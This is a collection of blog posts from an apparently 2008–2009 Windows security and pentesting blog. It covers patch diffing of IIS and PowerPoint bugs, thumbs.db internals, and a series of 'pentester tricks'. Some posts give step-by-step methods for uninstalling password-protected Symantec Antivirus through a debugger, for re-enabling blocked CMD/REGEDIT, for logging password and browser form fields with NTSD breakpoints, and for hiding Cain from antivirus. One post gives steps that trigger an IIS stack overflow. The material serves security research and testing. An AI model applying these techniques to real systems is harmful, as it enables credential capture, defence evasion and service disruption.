The most reliable and lightweight tool I know is ... the one made by Microsoft, a.k.a. Microsoft Network Monitor. It relies on Windows built-in packet capture features, therefore leaving minimal footprint on the target system. It can run without install. It works on all Microsoft-supported Windows versions, in x86, x64 and even IA64 flavors.

How to use it ?

Download and install Microsoft Network Monitor on a standalone computer.
Upload nmconfig.exe and nmcap.exe on the target computer.
Enable the Microsoft Network Monitor Driver: nmconfig /install
Test: nmcap /displaynetworks
Sniff all TCP traffic on every local interface: nmcap /network * /capture tcp /File tcp.cap
Disable the Microsoft Network Monitor Driver: nmconfig /uninstall

(Caveat: the capture file format is not Winpcap-compatible. However, Wireshark (and others) know how to read it.)

There is no Notepad trick

2009-05-27T21:03:00.003+01:00

You might have heard that Notepad will fail to display correctly a file holding this single line: "this app can break" (or any sentence built on the same 4/3/3/5 scheme).

This issue could be tracked down to ANSI vs. Unicode text autodetection.

However, there is a much cooler Notepad trick in the latest issue of 2600 magazine. If the first text line happens to be ".LOG", Notepad will automatically append last modification time at the end of the file (as documented in KB81067). This feature is available from Windows 2.03.

This is not a pentester's trick by itself. But I still love it :)

Pentester trick #7: re-enabling CMD & REGEDIT

2009-01-19T09:00:00.000+01:00

There are 2 settings that are commonly used by system administrators in "restricted", kiosk-like environments: DisableCMD and DisableRegistryTools, which are both to be found under:

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System

As their names imply, those settings disable the use of CMD.EXE and REGEDIT.EXE.

Those settings are enforced by CMD and REGEDIT themselves. Therefore, alternatives such as Console and Registry Workshop will still run fine. However, it might not always be handy to bring new applications on the target system. So, how do we recover CMD and REGEDIT applications locally ?

It would be easy to find binary checks inside both applications and to patch them, but a good pentester is lazier than that.

After making a copy of both applications, it is enough to replace a single character within "DisableCMD" or "DisableRegistryTools" strings. I really love those stupid tricks :) The question is "how ?" ... and surprisingly, the answer is not obvious.

DEBUG/EDLIN: they won't handle files over 64KB.
".COM" application written in pure assembly using DEBUG: cool, but a bit tedious.
QBASIC application: there is no QBASIC shipped with Windows any more :(
Notepad/Wordpad: they mess up binary files on write back.
VBScript: is poor at handling binary files.
VBA inside an Office application: cool, but you need to have Office installed beforehand.
NTSD: does not support the .readmem/.writemem commands.

In most cases, the best course of action is to run CMD inside NTSD (hint: you can drag-and-drop CMD over NTSD, which is sometimes handy in very restricted "kiosk" modes):

C:\> ntsd cmd.exe
(...)
0:000> lm
start end module name
4ad00000 4ad64000 cmd (deferred)
77be0000 77c38000 msvcrt (deferred)
77ef0000 77f37000 gdi32 (deferred)
7c800000 7c905000 kernel32 (deferred)
7c910000 7c9c7000 ntdll (export symbols) ntdll.dll
7e390000 7e420000 user32 (deferred)

0:000> s 4ad00000 L 64000 44 00 69 00 73 00 61 00 62 00 6C 00 65 00 43 00 4D 00

4ad14944 44 00 69 00 73 00 61 00-62 00 6c 00 65 00 43 00 D.i.s.a.b.l.e.C.

0:000> e 4ad14944 41

0:000> g
(...)
Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\temp>

I'll be glad if someone comes with another solution :)

Note: surprisingly, the "DisableCMD" string lies within the code (".text") section.

Note for kiosk designers: to prevent users from running arbitrary applications, Software Restriction Policies would scale more easily.

Lessons learned from MS08-005

2009-01-05T09:00:00.002+01:00

[ This post has been 80% complete for 1 year. And I swear the cleanup my "todo list" in 2009 :) ]

MS08-005 (KB 942831) is a local privilege escalation bug affecting:

IIS 5.0 (Windows 2000)
IIS 5.1 (Windows XP)
IIS 6.0 (Windows 2003)
IIS 7.0 (Vista)

This particular bug caught my attention for several reasons:

Local bugs tend to be more easily and reliably exploitable ;
The bugfix is very small in size ;
This bug made up his way into Vista, despite manual and automated code analysis.

Let's play with Windows XP SP2 version of this bug!

BinDiff-ing

First step is to install the patch, and to recover backuped files. In our case, there is only 1 file (infocomm.dll), that can be found in:
C:\windows\$NtUninstallKB942831$

Second step is to diff both original and patched files. If you happen to have a legit IDA Pro copy, Tenable PatchDiff2 is the best free plugin available out there. Otherwise, you'll have to fall back on eEye Binary Diffing Suite. Screenshots below are taken from BinDiff2.

Only 2 functions were modified by the patch:
int __stdcall CVRootDirMonitorEntry::FileChanged(char *lpString2, int) int __thiscall CVRootDirMonitorEntry::ActOnNotification(unsigned long, unsigned long)

Understanding the change

We will focus on FileChanged() function, in which strlen()/strcpy() operations were fixed (as shown in the graph below). Note: both APIs were inlined.

Code changes can also be spotted using the excellent Hex-Rays decompilation plugin.

Unpatched version:

if ( _strchr(input_filename, '~') )
{
result = ConvertToLongFileName(*((char **)long_filename + 3), input_filename, &FindFileData);
if ( !result )
return result;
v7 = _strrchr(input_filename, '\\');
if ( v7 )
{
v9 = v7 - input_filename;
v15 = v7 - input_filename + 1;
v16 = v7 - input_filename + 1;
v15 >>= 2;
memcpy(&v25, input_filename, 4 * v15);
v17 = &input_filename[4 * v15];
v18 = &v25 + 4 * v15;
v19 = v16 & 3;
v8 = FindFileData.cFileName;
memcpy(v18, v17, v19);
do
v20 = *v8++;
while ( v20 );
memcpy(&v26[v9], FindFileData.cFileName, v8 - &FindFileData.cFileName[1] + 1);
input_filename = &v25;
}

Patched version:

if ( _strchr(v4, '~') )
{
result = ConvertToLongFileName(*(char **)(v3 + 12), v4, &FindFileData);
if ( !result )
return result;
v7 = _strrchr(v4, '\\');
if ( v7 )
{
v9 = v7 - v4 + 1;
memcpy(v24, v4, v7 - v4 + 1);
v8 = FindFileData.cFileName;
v10 = 261 - v9;
do
v17 = *v8++;
while ( v17 );
if ( v8 - &FindFileData.cFileName[1] + 1 < v10 )
{
v11 = FindFileData.cFileName;
do
v18 = *v11++;
while ( v18 );
v10 = v11 - &FindFileData.cFileName[1] + 1;
}
v3 = v22;
memcpy(&v24[v9], FindFileData.cFileName, v10);
v25 = 0;
v4 = v24;
}

Runtime analysis

At this point, a little bit of runtime analysis using WinDbg could help us to get the whole picture.

Being attached to the inetinfo.exe process (where infocomm.dll is loaded, according to Sysinternals handle utility), we set a breakpoint on FileChanged():

0:016> .reload /f
Reloading current modules ..................................................................
0:016> bp CVRootDirMonitorEntry::FileChanged
0:016> bl
0 e 71ba7ca0 0001 (0001) 0:**** INFOCOMM!CVRootDirMonitorEntry::FileChanged
0:016> g

Given the name of the function under scrutiny, we suspect it will be called during file operations inside the Web root:

echo "hello" > c:\inetpub\wwwroot\test.txt

It worked! Moreover, we can confirm that the first argument passed to FileChanged(), which is of type char* according to debug symbols, is the filename.

Breakpoint 0 hit
eax=00000000 ebx=00000008 ecx=00712430 edx=007238c4 esi=007238a8
edi=007238a8 eip=71ba7ca0 esp=009cfed8 ebp=009cff0c
iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 INFOCOMM!CVRootDirMonitorEntry::FileChanged:
71ba7ca0 8bff mov edi,edi

0:004> da poi(esp+4)
009cfee4 "test.txt"

Summary of our findings

Not everything makes sense for now, but we have gathered much interesting information during this preliminary analysis phase:

CVRootDirMonitorEntry::FileChanged() does (possibly insecure) string manipulation.
This function is called whenever a file under the Web root is "touched". The filename is passed as the first argument.
The offending code will be reached only if the filename contains the "~" character, and the "\" character (thus being inside a subdirectory).
ConvertToLongFileName() will be called in between on the filename.

A bug, really ?

At this point, we need to have a closer look at ConvertToLongFileName() internals.

According to debug symbols, the function prototype is:
int __stdcall ConvertToLongFileName(char *, LPCSTR lpString2, LPWIN32_FIND_DATAA lpFindFileData)

Implementation of this function is trivial: it takes the filename as an argument and uses FindFirstFileA() on it. The corresponding WIN32_FIND_DATA structure is passed back to the caller for future use.

MSDN documentation relative to FindFirstFile() is pretty straightforward. The WIN32_FIND_DATA structure is more interesting:

typedef struct _WIN32_FIND_DATA {
DWORD dwFileAttributes;
FILETIME ftCreationTime;
FILETIME ftLastAccessTime;
FILETIME ftLastWriteTime;
DWORD nFileSizeHigh;
DWORD nFileSizeLow;
DWORD dwReserved0;
DWORD dwReserved1;
TCHAR cFileName[MAX_PATH];
TCHAR cAlternateFileName[14];
}
WIN32_FIND_DATA, *PWIN32_FIND_DATA, *LPWIN32_FIND_DATA;

The caller will copy FindFileDate.cFileName into a fixed size buffer of 264 bytes. Since MAX_PATH has a value of 260 on Windows platform, this is probably MAX_PATH+1 aligned to a DWORD. Where is the trick ?

Where Unicode comes into play

The trick is called Unicode. Quoting MSDN documentation:

In the Windows API (with some exceptions discussed in the following paragraphs), the maximum length for a path is MAX_PATH, which is defined as 260 characters.
(...)
The Windows API has many functions that also have Unicode versions to permit an extended-length path for a maximum total path length of 32,767 characters.

What about CreateFile ?

The Unicode versions of several functions permit a maximum path length of approximately 32,000 characters composed of components up to 255 characters in length.

Therefore, it is possible to build a very long Unicode path, as long as each path token is less than 255 characters long. There is a little quirk in FindFirstFile() documentation here: cFileName cannot be longer than MAX_PATH, but the full path to this file can go far beyond MAX_PATH.

Do it yourself

Here are the steps to trigger the bug:

Using the mkdir command, create a directory inside C:\Inetpub\wwwroot with a long name (200 times 'A', for instance).
Using CreateFile("\\?\C:\Inetpub\wwwroot\AAA...AAA\BBB...BBB"), create inside this directory a file with a long name (200 times 'B', for instance). This API call must be Unicode-style, because the resulting full path will be longer than MAX_PATH.
Now access this file using its short name, as reported by the dir /x command. In this example, this would be something like echo toto > bbbbbb~1.

Et voilà ! IIS should crash, because it expanded "aaa...aaa\bbbbbb~1" into "aaa...aaa" and "bbb...bbb" strings, that are thereafter concatenated into a stack-based buffer of size MAX_PATH.

Since infocomm.dll has been compiled with /GS option, a stack cookie prevents direct exploitation of this bug. Exploitation on IIS 5 is left as an exercise to the reader ;)

Conclusion

That was a very nice bug to study (even if it ended up in a trivial stack overflow) because it requires good knowledge of Windows internals.

As usual, it would be nice to know "how" this bug has been found by the original author. However, using Unicode filenames breaks so many applications out there that it could have been found by accident ;)

PS. Happy New Year to all readers !

Having fun with certificates

2009-01-01T23:30:00.001+01:00

Unless you went on vacation without WiFi access, your iPhone and your BlackBerry, you certainly have heard of the latest "Internet is dead" issue.

All details are available here and there. A comprehensive analysis is available on O'Reilly blog. A summary is available on ISC blog.

Now this is where C# beauty comes into play. Here is a code snippet that will check from local certificate store(s) the signature algorithm used. Everything that is not sha1RSA is displayed, because it should be bad (according to Microsoft analysis).

using System;
using System.Security.Cryptography.X509Certificates;

namespace SearchCerts
{
class Program
{
static void Main(string[] args)
{
// *** select appropriate store below ***
//var store = new X509Store(StoreName.My);
//var store = new X509Store(StoreName.AuthRoot);
//var store = new X509Store(StoreName.CertificateAuthority);
//var store = new X509Store(StoreName.Root);
//var store = new X509Store(StoreName.TrustedPeople);
//var store = new X509Store(StoreName.TrustedPublisher);

store.Open(OpenFlags.OpenExistingOnly | OpenFlags.ReadOnly);
foreach (var cert in store.Certificates)
{
if (cert.SignatureAlgorithm.FriendlyName != "sha1RSA")
{
System.Console.WriteLine("------------------------------");
System.Console.WriteLine("[FriendlyName]\t" + cert.FriendlyName);
System.Console.WriteLine("[Issuer]\t" + cert.Issuer);
System.Console.WriteLine("[Subject]\t" + cert.Subject);
System.Console.WriteLine("[Signature]\t" + cert.SignatureAlgorithm.FriendlyName);
}
}
store.Close();
System.Console.WriteLine("finished");
System.Console.ReadLine();
}
}
}

Here are some results from my certificate stores. Your mileage may vary.

Freephonie PKI is using MD5. End-users cannot submit CSRs by themselves, so the risk remains low. I'd be glad to know if the Freebox itself can send CSRs.

[FriendlyName]
[Issuer] O=Free, L=Paris, S=France, C=FR
[Subject] CN=1234567, O=Free, L=Paris, S=France, C=FR
[Signature] md5RSA

CNRS-Standard and CNRS-Plus PKI are using MD5. This is more concerning, because those are widely used authorities, and users can request certificates "at will".

[FriendlyName]
[Issuer] CN=CNRS, O=CNRS, C=FR
[Subject] CN=CNRS-Plus, O=CNRS, C=FR
[Signature] md5RSA

[FriendlyName]
[Issuer] CN=CNRS, O=CNRS, C=FR
[Subject] CN=CNRS-Standard, O=CNRS, C=FR
[Signature] md5RSA

Microsoft drivers signing PKI (at least on Windows XP SP2). Since drivers developers can ask for signatures, this is concerning too. But I feel that this authority might not be used by Microsoft anymore for newer signatures, given its old age.

[FriendlyName]
[Issuer] CN=Microsoft Root Authority, OU=Microsoft Corporation, OU=Copyright (c) 1997 Microsoft Corp.
[Subject] CN=Microsoft Windows Hardware Compatibility, OU=Microsoft Corporation, OU=Microsoft Windows Hardware Compatibility Intermediate CA, OU=Copyright (c) 1997 Microsoft Corp.
[Signature] md5RSA

Some random foreign authorities, which are using obscure certification policies.

[FriendlyName] NetLock Uzleti (Class B) Tanusitvanykiado
[Issuer] CN=NetLock Uzleti (Class B) Tanusitvanykiado, OU=Tanusitvanykiadok, O=NetLock Halozatbiztonsagi Kft., L=Budapest, C=HU
[Subject] CN=NetLock Uzleti (Class B) Tanusitvanykiado, OU=Tanusitvanykiadok, O=NetLock Halozatbiztonsagi Kft., L=Budapest, C=HU
[Signature] md5RSA

And last but not least, this VeriSign authority is using ... MD2 (this is not the only one, unfortunately).

[FriendlyName] VeriSign
[Issuer] OU=VeriSign Commercial Software Publishers CA, O="VeriSign, Inc.", L=Internet
[Subject] OU=VeriSign Commercial Software Publishers CA, O="VeriSign, Inc.", L=Internet
[Signature] md2RSA

PS. impots.gouv.fr is NOT vulnerable ;)

Pentester trick #6: logging Internet Explorer boxes

2008-12-19T18:48:00.001+01:00

In a previous post (Debugging Without Debugger), I promised to explain how to log content from text areas within Internet Explorer Web pages.

If you tried to apply the previously described technique to Internet Explorer, you should have noticed that GetWindowText is never called for getting text from Web controls. This is because the whole Web page is rendered without relying on standard Windows controls.

Therefore, we need to find the GetWindowTextLength/GetWindowText equivalents in MSHTML.DLL. Fortunately, debugging symbols will help us much in this case. The equivalent functions are:

mshtml!CTxtPtr::GetPlainTextLength()

mshtml!CTxtPtr::GetPlainText()

Which are called from 3 locations, the most common being:

mshtml!CElement::GetPlainTextInScope()

Unfortunately, NTSD does not seem to handle symbols properly, which prevents us from setting a symbolic breakpoint :(

Since MSHTML.DLL is upgraded by virtually every cumulative patch for Internet Explorer, you really need to get access to the debugging symbols for the specific Internet Explorer version installed on the target (hint: use the SYMCHK utility shipped with Debugging Tools) and find appropriate addresses inside.

From my up-to-date Internet Explorer 7 installation, here are some sample addresses:

mshtml!CTxtPtr::GetPlainTextLength : 0x44BB3B85 (entry point) -> 0x44BB3BFD (ret)

mshtml!CTxtPtr::GetPlainText : 0x44BB3C05 (entry point) -> 0x44BB3C75 (ret)

mshtml!CElement::GetPlainTextInScope : 0x44BB3CA6 (entry point) -> 0x44BB3D46 (ret)

The epilog of GetPlainTextInScope function is:

.text:44BB3D3F mov eax, [ebp+var_4]
.text:44BB3D42 pop edi
.text:44BB3D43 pop esi
.text:44BB3D44 pop ebx
.text:44BB3D45 leave
.text:44BB3D46 retn 4
.text:44BB3D46 ?GetPlainTextInScope@CElement@@QAEJPAVCStr@@@Z endp

From here, it is nice to know that ESI points to the Unicode text content before being overwritten at address 0x44BB3D43. Therefore the following NTSD commands will do the trick:

ntsd -pn iexplore.exe
bp 0x44BB3D43 "du poi(esi); g;"

Awkward trick I must admit, but it could save pentesters' lifes anyway ;)

Reversing COM components

2008-08-23T21:31:00.003+01:00

There are many free tools available that could prove helpful for analyzing COM components. My favorites are COMRaider and Jose Roca's TypeLib Browser.

Those tools are good for a 1st pass analysis (like fuzzing or calling a specific method from a VBS script), but when it comes to have a look at the binary implementation itself, things become a little thougher...

There are some IDA Pro helpers (scripts and plugins) hanging around, but given the complexity of COM and C++ reversing, it remains quite hard to tell where the code is through static analysis only.

Then I stumbled upon this post (by WebSense) that gives a very easy way to locate all exported methods through the use of #import directive in Visual Studio. Since they only give away screenshots, here is the full piece of code that will retrieve the RVA of the first 10 methods of Flash plugin.

#include <windows.h>
#include <stdio.h>

// Note: this must be a CPP file to use #import directive
#import "C:\\WINDOWS\\SYSTEM32\\Macromed\\Flash\\Flash9e.ocx" no_namespace

int main() {

printf("Hello, world of COM!\n");

CoInitialize(NULL);

IShockwaveFlash *pShockwave=NULL;

HRESULT hr = CoCreateInstance( __uuidof(ShockwaveFlash),
NULL,
CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER,
__uuidof(IShockwaveFlash),
(void**)&pShockwave
);

if (hr==S_OK) {

DWORD dwVT=*(DWORD*)pShockwave;
DWORD *p=(DWORD*)dwVT;

for (int i=1;i<11;i++) {
printf("[%d] VA=%08x RVA=%08x\n",
i,
*p,
*p-(DWORD)GetModuleHandle("Flash9e.ocx")
);

p++;
}

pShockwave->Release();
}

return 0;
}

Sample output:

C:\>cl test.cpp
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 14.00.50727.762 for 80x86

Copyright (C) Microsoft Corporation. All rights reserved.

test.cpp
Microsoft (R) Incremental Linker Version 8.00.50727.762
Copyright (C) Microsoft Corporation. All rights reserved.

/out:test.exe
test.obj

C:\>test.exe
Hello, world of COM!
[1] VA=300b4ec2 RVA=000b4ec2
[2] VA=300b38a4 RVA=000b38a4
[3] VA=300b38b1 RVA=000b38b1
[4] VA=300bd353 RVA=000bd353
[5] VA=300b78b7 RVA=000b78b7
[6] VA=300b7d33 RVA=000b7d33
[7] VA=300cbe5c RVA=000cbe5c
[8] VA=300c7c34 RVA=000c7c34
[9] VA=300c7c46 RVA=000c7c46
[10] VA=300c7b9d RVA=000c7b9d

Beware: the COM component will be instanciated by this code. Do not try this on malicious code, unless you know what you are doing!

MS08-051 secrets

2008-08-18T20:05:00.003+01:00

On August 12th, Microsoft released a flurry of Office security patches.

Among those patches is to be found MS08-051 / Q949785, a patch targeting all supported versions of PowerPoint and PowerPoint Viewer, excluding PowerPoint Viewer 2007 and PowerPoint 2008 for Mac.

According to the bulletin, this patch fixes at least 3 vulnerabilities, 2 of them being documented on Reversemode.com. Let's have a look at the first vulnerability, which is an integer overflow resulting in a heap overflow. At the time of writing, a vulnerable version (11.0.5703.0) of PowerPoint Viewer 2003 can be downloaded from Microsoft web site. The vulnerable code path can be found in this version:

.text:300F642C loc_300F642C:
.text:300F642C mov eax, [edi]
.text:300F642E mov ecx, [ebp+var_14]
.text:300F6431 mov ebx, [eax+ecx*4]
.text:300F6434 mov esi, [ebx+2] ; EBX is user-supplied length
.text:300F6437 test esi, esi
.text:300F6439 mov [ebp+var_20], ebx
.text:300F643C mov [ebp+var_1C], esi
.text:300F643F jz loc_300F6516
.text:300F6445 mov ax, [ebx]
.text:300F6448 and eax, 3FFFh
.text:300F644D push eax
.text:300F644E call _MsoPopinfoGet@4 ; MsoPopinfoGet(x)

If EBX==0xFFFFFFFF, this code will result in calling GlobalAlloc(0x00000001) and copying 0xFFFFFFFF bytes later on.

After patching PowerPoint Viewer 2003, the code looks like (thanks to PatchDiff ;):

.text:300DC0BC loc_300DC0BC:
.text:300DC0BC mov eax, [edi]
.text:300DC0BE mov ecx, [ebp+var_14]
.text:300DC0C1 mov ebx, [eax+ecx*4]
.text:300DC0C4 mov esi, [ebx+2]
.text:300DC0C7 test esi, esi
.text:300DC0C9 mov [ebp+var_24], ebx
.text:300DC0CC mov [ebp+var_20], esi
.text:300DC0CF jz loc_300DC1B2
.text:300DC0D5 cmp [ebp+var_18], esi
.text:300DC0D8 jb loc_300DC1DD
.text:300DC0DE mov ax, [ebx]
.text:300DC0E1 sub [ebp+var_18], esi
.text:300DC0E4 and eax, 3FFFh
.text:300DC0E9 push eax
.text:300DC0EA call _MsoPopinfoGet@4 ; MsoPopinfoGet(x)

End of the story ? Not quite ... There is at least another Microsoft product that shares the PowerPoint codebase: Microsoft Office Live Meeting Client 2007.

Since it has PowerPoint rendering capabilities, this client is bundled with "lmpptview.dll". Beta versions of this DLL are internally numbered "12.0.x", showing clear connection with Office 2007. As of RTM version, this DLL is now numbered "8.0.3029.0". However, the following code sequence can be found inside:

.text:004345FC loc_4345FC:
.text:004345FC mov ecx, [ecx]
.text:004345FE lea eax, [ecx+edx*4]
.text:00434601 mov edi, [eax]
.text:00434603 mov esi, [edi+2]
.text:00434606 test esi, esi
.text:00434608 jz short loc_434689
.text:0043460A cmp [ebp-14h], esi
.text:0043460D jb loc_439769
.text:00434613 movzx eax, word ptr [edi]
.text:00434616 sub [ebp-14h], esi
.text:00434619 and eax, 3FFFh
.text:0043461E push eax
.text:0043461F call mightbe_MsoPopinfoGet

My bet is:

Live Meeting client is not vulnerable to this flaw, because the codebase comes from PowerPoint Viewer 2007.
And PowerPoint Viewer 2007 has been patched against this flaw since the beginning, whereas PowerPoint 2007 "Gold" and SP1 have been left vulnerable.

Men, that was close...

Pentester trick #5: debugging without debugger

2008-08-08T08:00:00.000+01:00

Having a debugger at hand is always useful in corner case pentesting (cf. bypassing Symantec password). However, even if OllyDbg is a light-weight, standalone debugger, it might not always be possible to install new applications on the target system (e.g. Citrix servers, Web kiosks, mission critical servers).

Fortunately, there is a built-in command-line debugger bundled with at least Windows 2000, XP and 2003 (this debugger has been removed from Windows Vista). And I am not talking about DEBUG.EXE ;) I am talking about NTSD.EXE, which is originally part of the Debugging Tools for Windows.

Warning: NTSD has not been upgraded since Windows 2000. On Windows XP SP2, NTSD will randomly crash with a "BEX error" message (even if hardware DEP is not enabled).

A useful application of debugging can be logging textboxes (which include asterisks protected boxes). Let's take a running NOTEPAD.EXE process for instance. The following command will attach NTSD to this process:
ntsd -pn notepad.exe

The WinDbg commands would be:
bp GetWindowTextA "r $t0=poi(esp+8); gu; da @$t0; g;"
bp GetWindowTextW "r $t1=poi(esp+8); gu; du @$t1; g;"

Explanation: the target functions (ANSI and Unicode versions) have the following prototype:
int GetWindowText( HWND hWnd, LPTSTR lpString, int nMaxCount );

At the function entry point, save the lpString pointer (esp+8) into a temporary register, then go up (until return), and read output value back.

Unfortunately, this will not work with NTSD (BEX error). We will have to find the RET address manually (using the step over or the unassemble command), then set the following breakpoints:
bp 7e3b218c "da poi(esp+8); g;"
bp 7e39ce0b "du poi(esp+8); g;"

Then if we try to replace "it" by "works" using NOTEPAD menu:
[...]
0100a800 "it"
0100a700 "works"
[...]

Next post: how to log form boxes inside Internet Explorer.

Pentester trick #4: removing Symantec Antivirus 10.2 without knowing the password

2008-08-01T09:04:00.004+01:00

Antivirus software is often the enemy of pentesting, because most useful tools (Cain, and even NetCat) are detected as "Potentially Unwanted Programs".

Some antivirus are easy to disable (like stopping a service), others are a real pain (non stoppable drivers). Symantec Enterprise 10.2 with anti-tampering options belongs to the second category.

Symantec Antivirus can be removed from the "Add/Remove Programs" Control Panel menu. However it asks for a password on removal.

This password is not a product feature, but a feature of Windows Installer subsystem. Therefore it is very easy to bypass. First step is to attach a debugger (like OllyDbg) to the MsiExec.exe process the password window is belonging to (this requires Administrative rights or Debug priviledge).

Second step is to set a breakpoint on GetWindowTextA. Then run the program, enter any password, and the breakpoint should be triggered. From that point, step out a few times until TEST AL, AL is encountered.

Setting AL register to any non-zero value allows product uninstall.

Note: ECX and EDX registers point to (entered and expected) password hashes. But this is an other story :)

The case of "thumbs.db" file

2008-04-06T15:58:00.003+01:00

My Windows skills were recently challenged by a blog post of Cédric Blancher about the "thumbs.db" file internals.

It is widely documented that this file is an OLE container for holding thumbnail information, when the corresponding Explorer option is checked (which is the default configuration). Some Open Source tools even exist to parse the "thumbs.db" file.

However, there is one more question that has been left unanswered: "how is custom image ordering preserved?".

Naive approach

A quick test yields the following empirical result:

Within Explorer, browse a folder which has a sub-folder where some images are stored. A "thumbs.db" file is created in this sub-folder, if necessary.
Enter the sub-folder and move images around. "Thumbs.db" file size increases.
Backup the existing "thumbs.db" file with the following commands:

attrib -r -s -h thumbs.db
copy thumbs.db backup.db

Shuffle images again. Compare the new "thumbs.db" file with the backup, using the following command:

attrib -r -s -h thumbs.db
fc /b backup.db thumbs.db

Files should be exactly the same!

First trail

In a sense, this is perfectly logical in Windows world, since image ordering is a per-user setting. Two users sharing the same computer could order images differently without affecting each other's view. It would make no sense to store this is information in a single, shared file.

Per-user settings could be stored in a configuration file (e.g. ".ini" file) inside the %UserProfile% directory, but this is very "Windows 3.1" style.

At this point, we rather suspect that settings are stored under the HKCU registry hive.

Chasing the culprit

Process Monitoring the Explorer process could quickly become exhausting, given the amount of registry keys that are accessed during normal system operation. We will rather try to pinpoint the system component that manages the "thumbs.db" file.

A fast and efficient approach is to search for string references in system directories:

C:\WINDOWS\SYSTEM32>strings *.dll | findstr /i thumbs.db

C:\WINDOWS\SYSTEM32\mydocs.dll: thumbs.db
C:\WINDOWS\SYSTEM32\shell32.dll: Thumbs.db
C:\WINDOWS\SYSTEM32\shell32.dll: thumbs.db
C:\WINDOWS\SYSTEM32\wmp.dll: thumbs.db

In this case, we use strings.exe from SysInternals, which has the big advantage over various "grep" ports to be able to handle ANSI and Unicode strings all together.

A quick look inside mydocs.dll shows a string reference from CleanupSystemFolder() function, which does not seem to be related to our matter. Windows Media Player library (wmp.dll) does not seem to be a valid candidate either. Therefore, the core processing should be done in shell32.dll.

Shell32 internals

Shell32 is a rather old and complex system component - a complete analysis is out of question.

However a quick look inside this component yields interesting information:

It makes heavy use of the COM model.
It holds many interestingly named C++ classes, like CThumbnailMenu, CThumbStore and CEnumThumbStore.
Thumbnail processing is done in the background by a worker thread. Therefore changes are not immediately reflected, which hampers the Process Monitoring approach.

The key point is that CThumbStore class seems to implement IPersistFile, IPersistFolder, IPersistStorage and IShellImageStore interfaces, among others.

This should ring a bell about property bags, which is the standard way for a COM object to store opaque, persistent data. Therefore we will make a great leap forward, and search directly for the "bags" keyword inside the binary file.

Beginning to see the light

The search for "bags" is successful: there is very few references, with very interesting content.

The first reference comes from this registry key:
HKCU\Software\Microsoft\Windows\ShellNoRoam\Bags

It is referenced from:
CDefView::_SaveGlobalViewState()
CDefView::_ResetGlobalViewState()

The second reference comes from this registry sub-key:
DUIBags\ShellFolders\{00000000-0000-0000-0000-000000000000}

It is referenced from:
CDUIView::_InitializeShellFolderPropertyBag()

Under the "ShellNoRoam" registry key, we could find thousands of numeric subkeys, which in turn hold values of interest, like the coordinates of the image. After digging a little more, we gather the following information:

Monitoring the "ShellNoRoam" key with Process Monitor reveals that registry information is updated only when exiting the folder.
Custom image ordering will be used on folder re-opening only if "remember each folder's view settings" is checked in Explorer configuration. Otherwise default layout is used.
There is a bug in Windows XP pre-SP2 that prevents creating more than 200 custom views :)

At this point, there are still open questions, like "how does the ItemPos binary blob relates to effective image position?". This would require in-depth analysis of CViewState::LoadPositionBlob() maybe.

But most of the question is answered for now!

Conclusion

With a minimal amount of code analysis, we were able to pinpoint the code block that manages the "thumbs.db" file, and how persistent image location data is internally managed by the Explorer process.

Final note: this article relates to Windows XP SP2 only. Windows Vista might exhibit different behaviour.

The truth about Access 0-days

2008-04-04T22:02:00.005+01:00

Security flaws in popular Office file formats (namely DOC, XLS and PPT) have been very common in the past few years, accounting for a large amount of Microsoft Security Bulletins (cf. slide #4 on this presentation). They have been also involved in high-profile targeted attacks.

However, flaws in lesser used Office file formats (namely PUB and MDB) were largely disregarded by Microsoft, for at least 2 reasons:

Access (.MDB) and Publisher (.PUB) applications are not part of Office Standard suite - they are available in higher grade SKUs only.
Access file format is considered "insecure by design" since automatic code execution on file opening cannot be blocked. Therefore MDB files are included in Microsoft blocked list. This list is enforced by Outlook application on attachments, among others.

A large amount of "buffer overflow"-like bugs involving MDB files have been floating around since year 2005 at least.

Some malware authors recently found a way to bypass Microsoft filters by sending 2 attachments in the same email (or the same ZIP file): the first one is an approved Office file format (let's say DOC), the other has an unknown extension.

However, when the Word document tries to open the second one as an ODBC Datasource using Jet Engine (where the flaw lies), it will disregard the extension.

McAfee Avert Labs blogged about that, but they missed something that is regularly re-discovered: OLE documents will be opened by the right Office application regardless of their extension.

How to reproduce:

Create a new Word document named "test.doc".
Rename "test.doc" into "test.xxx" (the extension shall not be already registered).
Double-click on "test.xxx". Enjoy!

Therefore, if you want to be protected against Office-based attacks, you shall block any unknown extension (or rather, use a white-list of "known safe" extensions) at your mail gateway.

Pentester trick #3: using Cain without installing it

2008-03-03T12:00:00.002+01:00

Cain is one of the most useful pentesting tool for Windows. It has been rated #9 in the Top 100 of security tools.

While Cain is powerful when used on the pentester's computer, it is quite limited in terms of "pivoting" (i.e. using a compromised host as a bouncer to reach another part of the target network).

Installing Cain on a compromised host yields at least two severe limitations :

Cain requires Winpcap. If Winpcap is not found, Cain will refuse to load. Winpcap installs a new driver, and might require a reboot, which is not good in terms of footprint.
Cain is being detected as Potentially Unwanted Software by most antivirus software out there.

Fortunately, both limitations can be removed.

To have Cain loading properly, it is enough to add the following DLLs in Cain directory :

packet.dll
wanpacket.dll
wpcap.dll

Note#1: without Winpcap driver, Cain will lack network features like password sniffing and ARP poisoning.

To make Cain undetected by most (if not all) antivirus software, the software must be "repacked". However, this is another story :)

Note#2: Cain still requires administrative rights on the compromised host.

Pentester trick #2: faking NetBIOS names

2008-02-20T07:18:00.002+01:00

Trick #2: faking NetBIOS names

There has been a buzz at BlackHat US 2007 around H.D.Moore+Valsmith attack against Internet Explorer autoconfiguration feature.

To sum up, if anything is named after "WPAD" on the network, it will be considered as the enterprise Web proxy by Internet Explorer.

The original attack is based on the "Dynamic DNS Update" feature of Windows DNS servers. DNS updates can be:

DNS-based, unauthenticated. Game over.
DNS-based, authenticated. Nice try, but since any domain user can create up to 10 computer accounts in Active Directory, it is quite easy to name a computer "WPAD", join a domain and authenticate.
DHCP-based. Game over, too: the DNS server will blindly trust your host name.

Ok, but what if "Dynamic DNS Update" feature has been disabled? Or if you need to quickly register names? Joining a new computer to the domain is not an option in this case.

Fortunately, everybody who has sniffed a Windows network for more than 5 minutes knows that most Windows clients "in the wild" use misconfigured name resolution: they rely on NBNS (NetBIOS Name Service) as a fallback.

So how could you take advantage of a broadcasted NBNS request for "WPAD" (or anything else) to redirect target's traffic?

